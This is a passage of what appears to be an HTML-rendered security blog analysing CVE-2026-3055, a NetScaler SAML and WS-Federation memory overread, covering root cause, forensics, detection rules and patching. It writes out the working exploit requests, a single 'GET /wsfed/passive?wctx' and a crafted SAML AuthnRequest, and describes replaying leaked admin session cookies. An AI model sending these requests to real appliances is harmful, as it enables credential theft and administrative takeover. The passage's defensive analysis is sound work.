    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This script is functional for detection purposes. It is also functionally equivalent to what an attacker would use.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;technical-exploitation-analysis&quot;&gt;Technical Exploitation Analysis&lt;/h2&gt;

&lt;p&gt;To understand CVE-2026-3055, you need to understand three things: how NetScaler handles SAML, how C handles strings (poorly), and how memory reuse in a high-throughput appliance turns a parsing mistake into a credential disclosure vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;the-architecture&quot;&gt;The Architecture&lt;/h3&gt;

&lt;p&gt;NetScaler’s SAML IdP implementation is written in C. This is relevant because SAML is based on XML, and writing XML parsing code in C is roughly the equivalent of performing surgery with a butter knife. It can be done. It should not be done. Citrix did it anyway.&lt;/p&gt;

&lt;p&gt;When an appliance is configured as a SAML IdP, it exposes several endpoints. The two relevant to this vulnerability are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; - Accepts SAML &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AuthnRequest&lt;/code&gt; messages via POST (base64-encoded XML in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SAMLRequest&lt;/code&gt; parameter) or GET (base64-encoded and compressed)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive&lt;/code&gt; - Handles WS-Federation passive authentication flows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both endpoints process incoming authentication requests, extract parameters from the request data, and construct internal state that gets serialized into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie for cross-request continuity during the authentication flow.&lt;/p&gt;

&lt;h3 id=&quot;nsc_tass-cookie-structure&quot;&gt;NSC_TASS Cookie Structure&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; (NetScaler Token Authorization Service State) is an internal cookie that NetScaler uses to carry state across the multi-step authentication flow. Under normal conditions, its base64-decoded content follows a predictable structure:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;idp_name&amp;gt;\x00&amp;lt;key1&amp;gt;=&amp;lt;value1&amp;gt;&amp;amp;&amp;lt;key2&amp;gt;=&amp;lt;value2&amp;gt;&amp;amp;...\x00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For example, a legitimate cookie from a SAML login flow decodes to:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;asdf\x00ID=_abc123&amp;amp;bind=post&amp;amp;ACSURL=http://sp.example.com/acs\x00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The fields (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ID&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bind&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ACSURL&lt;/code&gt;) are populated from the parsed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SAMLRequest&lt;/code&gt; XML or WS-Federation query parameters. The values are null-terminated C strings. This is relevant because when a field’s buffer is never initialized (because the attacker omitted the corresponding input), the null terminator that would normally bound the read is absent, and the code walks forward through adjacent heap memory until it encounters one from a different allocation.&lt;/p&gt;

&lt;h3 id=&quot;heap-reuse-and-why-production-environments-bleed-more&quot;&gt;Heap Reuse and Why Production Environments Bleed More&lt;/h3&gt;

&lt;p&gt;NetScaler’s HTTP processing engine is a high-throughput, multi-threaded C application that handles potentially thousands of concurrent authentication requests. Memory is allocated and freed rapidly as requests are processed. When a buffer is freed, its contents are not zeroed. The allocator marks the region as available but the data remains intact until the region is reused for a new allocation.&lt;/p&gt;

&lt;p&gt;This means that at any given moment, the process heap contains a mix of live allocations (active session data, in-flight requests) and freed allocations (previous session tokens, completed SAML assertions, processed LDAP bind results). When the memory overread follows an uninitialized pointer into this heap, it reads whatever data was last written there.&lt;/p&gt;

&lt;p&gt;On a quiet lab appliance with no traffic, most freed regions contain stale test data or allocator fill patterns like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xDEADBEEF&lt;/code&gt;. On a busy production appliance processing real authentication traffic, those same regions contain recent session cookies, SAML assertions with user attributes, LDAP bind credentials, and HTTP request headers from other users. The busier the appliance, the fresher and more valuable the leaked data tends to be.&lt;/p&gt;

&lt;h3 id=&quot;vulnerability-primitive-1-samllogin-memory-overread&quot;&gt;Vulnerability Primitive 1: /saml/login Memory Overread&lt;/h3&gt;

&lt;p&gt;The SAML login endpoint processes a base64-decoded XML document containing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AuthnRequest&lt;/code&gt;. From this XML, the NetScaler extracts several fields including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AssertionConsumerServiceURL&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProtocolBinding&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ID&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;These extracted values are written into an internal buffer and eventually serialized into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie. The critical flaw is what happens when these fields are absent from the XML payload.&lt;/p&gt;

&lt;p&gt;Under normal operation, a legitimate SAML request would include all expected fields:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;samlp:AuthnRequest&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns:samlp=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;xmlns:saml=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Version=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2.0&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ProviderName=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;my provider&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;IssueInstant=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2026-03-27T04:13:00Z&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Destination=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://watchtowr/saml.php&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;ProtocolBinding=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;AssertionConsumerServiceURL=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://watchtowr/saml.php?acs&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;saml:Issuer&amp;gt;&lt;/span&gt;http://watchtowr/saml.php&lt;span class=&quot;nt&quot;&gt;&amp;lt;/saml:Issuer&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/samlp:AuthnRequest&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The response cookie would then contain the extracted values in a structured format:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;asdf\x00ID=&amp;amp;bind=post&amp;amp;ACSURL=http://watchtowr/saml.php?acs\x00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When the attacker omits the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AssertionConsumerServiceURL&lt;/code&gt; field entirely, the parsing code does not properly initialize the corresponding buffer. Instead of returning an empty value or rejecting the request, the code reads from whatever memory happened to be at that address, which typically contains data left over from previous requests or operations.&lt;/p&gt;

&lt;p&gt;watchTowr demonstrated this by submitting a minimal request:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;samlp:AuthnRequest&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns:samlp=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;xmlns:saml=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;ID=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;_111111111111111111111111111111111111&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Version=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2.0&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;saml:Issuer&amp;gt;&lt;/span&gt;a&lt;span class=&quot;nt&quot;&gt;&amp;lt;/saml:Issuer&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/samlp:AuthnRequest&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The resulting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie contained:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00000000  61 73 64 66 00 49 44 3d  5f 31 31 31 31 31 31 31  |asdf.ID=_1111111|
00000010  31 31 31 31 31 31 31 31  31 31 31 31 31 31 31 31  |1111111111111111|
00000020  31 31 31 31 31 31 31 31  31 31 31 31 31 26 62 69  |1111111111111&amp;amp;bi|
00000030  6e 64 3d 70 6f 73 74 26  41 43 53 55 52 4c 3d 69  |nd=post&amp;amp;ACSURL=i|
00000040  64 3d 41 41 41 41 41 41  41 ef be ad de ed a7 0c  |d=AAAAAAA.......|
00000050  a1 35 00                                          |.5.|
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ACSURL=&lt;/code&gt; field contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id=AAAAAAA&lt;/code&gt; followed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xDEADBEEF&lt;/code&gt; (the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ef be ad de&lt;/code&gt; bytes). The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id=AAAAAAA&lt;/code&gt; fragment is residual data from a prior request. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xDEADBEEF&lt;/code&gt; is a memory fill pattern used to mark freed memory. The appliance is reading past the intended buffer boundary and returning whatever it finds.&lt;/p&gt;

&lt;p&gt;There are practical limitations to this primitive. The extracted fields are individually capped at approximately 100 bytes, and the read terminates on a NULL byte. On a quiet lab appliance, useful memory disclosure is inconsistent; hundreds of requests may return nothing interesting before one yields data. However, in a production environment with active user sessions generating continuous memory allocation and deallocation, the probability of hitting interesting data increases significantly.&lt;/p&gt;

&lt;h3 id=&quot;vulnerability-primitive-2-wsfedpassivewctx-memory-overread&quot;&gt;Vulnerability Primitive 2: /wsfed/passive?wctx Memory Overread&lt;/h3&gt;

&lt;p&gt;This is the more dangerous of the two primitives, and it is embarrassingly simple to trigger.&lt;/p&gt;

&lt;p&gt;The entire exploit request:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /wsfed/passive?wctx HTTP/1.1
Host: &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That is it. A single GET request with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wctx&lt;/code&gt; query parameter that is present but has no value and no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; sign.&lt;/p&gt;

&lt;p&gt;The vulnerable code checks for the presence of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wctx&lt;/code&gt; parameter but does not verify that it has an associated value. When the parameter exists without data, the code attempts to access a buffer that was never populated. Since the buffer pointer references uninitialized memory, the code reads whatever happens to be at that address.&lt;/p&gt;

&lt;p&gt;Unlike the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; primitive, this one has no 100-byte field limitation. The leaked memory arrives base64-encoded in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie and can contain kilobytes of data per request. watchTowr demonstrated responses containing over 2,400 bytes of raw memory per request, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;HTTP request headers from other users’ sessions&lt;/li&gt;
  &lt;li&gt;Internal request metadata including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Citrix-ns-orig-srcip&lt;/code&gt; headers&lt;/li&gt;
  &lt;li&gt;Session identifiers&lt;/li&gt;
  &lt;li&gt;Authentication tokens&lt;/li&gt;
  &lt;li&gt;And in one demonstrated case, an authenticated administrative session ID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The memory content is dynamic. Sending the same request twice returns different memory regions. An attacker running this in a loop against a busy production appliance can accumulate a significant corpus of leaked memory in minutes.&lt;/p&gt;

&lt;p&gt;watchTowr showed that by extracting a leaked administrative session cookie and injecting it into a browser, they achieved full administrative access to the target NetScaler appliance. No credentials required. No authentication bypassed. Just memory that was never supposed to leave the process, served up in a cookie.&lt;/p&gt;

&lt;h3 id=&quot;the-underlying-root-cause&quot;&gt;The Underlying Root Cause&lt;/h3&gt;

&lt;p&gt;Both primitives share the same root cause: C string handling that fails to validate buffer state before reading. In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; case, the XML parser does not initialize output buffers when expected XML attributes are missing. In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive&lt;/code&gt; case, the query string parser checks for parameter name presence without validating that a value exists.&lt;/p&gt;

&lt;p&gt;This is a pattern that has now repeated across four distinct vulnerabilities in the same product family. The C codebase that handles authentication request parsing on NetScaler appliances has a systemic problem with memory boundary validation. Each individual fix addresses a specific code path, but the architectural issue, complex string processing in C on a security-critical authentication edge, remains.&lt;/p&gt;

&lt;p&gt;watchTowr made this point explicitly in their analysis: during the process of reproducing CVE-2026-3055, they found additional memory overread vulnerabilities with similar prerequisites, which they reported to Citrix’s PSIRT. The implication is clear. More will follow.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;considerations-and-limitations&quot;&gt;Considerations and Limitations&lt;/h2&gt;

&lt;h3 id=&quot;what-the-vulnerability-does-and-does-not-do&quot;&gt;What the Vulnerability Does and Does Not Do&lt;/h3&gt;

&lt;p&gt;CVE-2026-3055 is an information disclosure vulnerability, not a remote code execution vulnerability. The attacker cannot write to memory, cannot execute arbitrary code, and cannot directly modify the appliance’s configuration through this vulnerability alone. What they can do is read memory that may contain session tokens, authentication material, and other secrets that enable follow-on access.&lt;/p&gt;

&lt;p&gt;The practical exploitation chain, as observed in honeypot telemetry from Defused Cyber and watchTowr, follows four stages:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Reconnaissance:&lt;/strong&gt; Attacker probes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/cgi/GetAuthMethods&lt;/code&gt; to enumerate authentication flows on the target appliance and confirm SAML IdP configuration is active&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Exploit:&lt;/strong&gt; Attacker sends crafted requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; (omitting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AssertionConsumerServiceURL&lt;/code&gt;) or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive?wctx&lt;/code&gt; (valueless parameter)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Memory Leak:&lt;/strong&gt; Appliance returns process memory base64-encoded in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie, potentially containing session tokens, SAML assertions, LDAP credentials, and internal request metadata&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Session Hijack:&lt;/strong&gt; Attacker extracts a valid session cookie (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_AAAC&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TMAS&lt;/code&gt;) from the leaked memory, replays it, and inherits the victim’s authenticated context&lt;/li&gt;
  &lt;li&gt;If the hijacked session belongs to an administrator, the attacker now has full administrative access to the appliance&lt;/li&gt;
  &lt;li&gt;From there: configuration extraction, VPN user creation, firewall rule modification, lateral movement into the internal network&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is the same exploitation chain that played out with CitrixBleed in 2023. The only difference is the entry point.&lt;/p&gt;

&lt;h3 id=&quot;configuration-prerequisite&quot;&gt;Configuration Prerequisite&lt;/h3&gt;

&lt;p&gt;The appliance must be configured as a SAML Identity Provider for CVE-2026-3055 to be exploitable. Citrix’s advisory emphasizes this point, and on the surface it sounds like a meaningful limitation. In practice, SAML IdP configuration is extremely common in enterprise environments using single sign-on. Rapid7 noted that this is “likely a very common configuration for organizations utilizing single sign-on.”&lt;/p&gt;

&lt;p&gt;Organizations that skimmed the advisory and concluded “we don’t run an IdP” should double-check. NetScaler appliances accumulate configuration over years of operation, and SAML IdP profiles may have been enabled for specific integrations that current administrators are not aware of.&lt;/p&gt;

&lt;h3 id=&quot;forensic-considerations&quot;&gt;Forensic Considerations&lt;/h3&gt;

&lt;p&gt;This is where things get uncomfortable for defenders.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What the attack does NOT leave behind:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The exploitation itself is an HTTP request/response exchange. No files are written to disk. No processes are spawned. No binaries are dropped. The attacker sends a request and receives memory content in a cookie. From a forensic perspective, the attack is indistinguishable from legitimate SAML authentication traffic unless you are specifically looking at request content and response cookies.&lt;/p&gt;

&lt;p&gt;If the attacker subsequently uses a stolen session token, that session hijack will look like a legitimate authenticated session. The session was legitimately issued by the appliance; it was just issued to the wrong person. There is no authentication failure, no credential bruteforce, no anomalous login pattern. The attacker walks in the front door with a valid key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What you might find:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If logging is configured at sufficient verbosity (DEBUG level on the NetScaler), the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; exploitation path generates log entries in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/ns.log&lt;/code&gt; that contain anomalous content. watchTowr observed log messages referencing unsupported &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProtocolBinding&lt;/code&gt; values that did not appear in the actual request, indicating memory content leaking into log fields. These messages would look unusual to an analyst reviewing SAML-related logs, but they require both verbose logging and someone actively looking at the right log files.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive?wctx&lt;/code&gt; exploitation path may generate entries for unexpected WS-Federation requests on appliances that do not normally process WS-Federation traffic. However, distinguishing exploitation from legitimate scanning or misconfiguration requires context about normal traffic patterns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What complicates matters:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The memory disclosure is non-deterministic. Each request returns different memory content, and the attacker has no direct control over what memory region they read. This means there is no single, consistent indicator of compromise. One attacker may extract an admin session token on their fifth request. Another may send five hundred requests and get nothing useful. The forensic evidence of exploitation is a volume of requests to specific endpoints, which blends with legitimate traffic and reconnaissance activity.&lt;/p&gt;

&lt;p&gt;Session token theft via memory disclosure also creates an attribution problem. If an attacker steals a session token and uses it from a different IP address, the appliance logs will show a legitimate session being accessed from a new source IP. This is detectable, but only if session-to-IP binding is monitored, and only if the attacker does not proxy through infrastructure close to the legitimate user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The broader pattern:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Citrix has not published a formal list of indicators of compromise (attacker IP addresses, file hashes, or filenames) for CVE-2026-3055. There is nothing to publish. The attack does not leave file-based artifacts. It leaves network traffic that requires content-level inspection to distinguish from normal operations, and session activity that requires behavioral analysis to identify as anomalous.&lt;/p&gt;

&lt;p&gt;This is the same forensic challenge that CitrixBleed presented in 2023. Organizations that had comprehensive network traffic logging, session monitoring, and behavioral analytics were able to detect and respond. Organizations that relied on endpoint detection, file-based IOCs, or signature-based network monitoring were flying blind.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection-and-hunting&quot;&gt;Detection and Hunting&lt;/h2&gt;

&lt;h3 id=&quot;network-based-detection&quot;&gt;Network-Based Detection&lt;/h3&gt;

&lt;h4 id=&quot;waf-rule-guidance&quot;&gt;WAF Rule Guidance&lt;/h4&gt;

&lt;p&gt;If a WAF or reverse proxy fronts the NetScaler:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Block or alert on GET requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive?wctx&lt;/code&gt; where the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wctx&lt;/code&gt; parameter has no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; sign and no value&lt;/li&gt;
  &lt;li&gt;Block or alert on POST requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; where the decoded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SAMLRequest&lt;/code&gt; XML does not contain an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AssertionConsumerServiceURL&lt;/code&gt; attribute&lt;/li&gt;
  &lt;li&gt;Monitor for high-volume requests to either endpoint from single source IPs&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;detecting-nsc_tass-cookie-anomalies&quot;&gt;Detecting NSC_TASS Cookie Anomalies&lt;/h4&gt;

&lt;p&gt;If you have response-level inspection capability (reverse proxy, WAF with response inspection, or full packet capture):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Alert on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookies with unusually large size (the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive&lt;/code&gt; variant can produce cookies containing kilobytes of leaked memory)&lt;/li&gt;
  &lt;li&gt;Alert on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookies where the base64-decoded content contains HTTP headers (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Host:&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cookie:&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User-Agent:&lt;/code&gt;), binary data, or patterns inconsistent with normal SAML state&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;host-based-detection-netscaler-logs&quot;&gt;Host-Based Detection (NetScaler Logs)&lt;/h3&gt;

&lt;h4 id=&quot;nslog-review&quot;&gt;ns.log Review&lt;/h4&gt;

&lt;p&gt;On the NetScaler appliance itself, review &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/ns.log&lt;/code&gt; for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SAML-related log entries referencing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProtocolBinding&lt;/code&gt; values that do not correspond to standard SAML bindings&lt;/li&gt;
  &lt;li&gt;Entries showing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AssertionConsumerServiceURL&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acs&lt;/code&gt; values that contain unexpected content (binary data, HTTP headers, fragments of other requests)&lt;/li&gt;
  &lt;li&gt;High volumes of SAML login attempts that do not result in successful authentication flows&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Hunt for anomalous SAML processing entries&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;saml&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ProtocolBinding&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ACSURL&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;AssertionConsumer&quot;&lt;/span&gt; /var/log/ns.log | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;normal_expected_value&quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Hunt for WS-Federation requests&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;wsfed&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;wctx&quot;&lt;/span&gt; /var/log/ns.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;session-monitoring&quot;&gt;Session Monitoring&lt;/h3&gt;

&lt;p&gt;If exploitation has occurred and session tokens were stolen, the next observable indicator is session hijack activity:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Authenticated sessions being accessed from IP addresses that differ from the original authentication source&lt;/li&gt;
  &lt;li&gt;Administrative sessions appearing from unexpected source networks&lt;/li&gt;
  &lt;li&gt;Session tokens being reused across multiple concurrent connections&lt;/li&gt;
  &lt;li&gt;VPN sessions established using credentials that were not manually entered&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Organizations with SIEM or UEBA capabilities should correlate NetScaler session events with source IP changes and geographic anomalies.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;remediation-and-workarounds&quot;&gt;Remediation and Workarounds&lt;/h2&gt;

&lt;h3 id=&quot;primary-remediation-patch&quot;&gt;Primary Remediation: Patch&lt;/h3&gt;

&lt;p&gt;Upgrade to a fixed version immediately:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;14.1 branch (66.x train):&lt;/strong&gt; Upgrade to 14.1-66.59 or later&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;14.1 branch (60.x train):&lt;/strong&gt; Upgrade to 14.1-60.58 or later&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;13.1 branch:&lt;/strong&gt; Upgrade to 13.1-62.23 or later&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;13.1-FIPS / 13.1-NDcPP:&lt;/strong&gt; Upgrade to 13.1-37.262 or later&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;13.0 branch:&lt;/strong&gt; End-of-life. No patch. Migrate to a supported version.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;post-patch-actions&quot;&gt;Post-Patch Actions&lt;/h3&gt;

&lt;p&gt;Patching alone is insufficient. If the appliance was exposed and running a vulnerable version, assume that session tokens may have been stolen prior to patching.&lt;/p&gt;

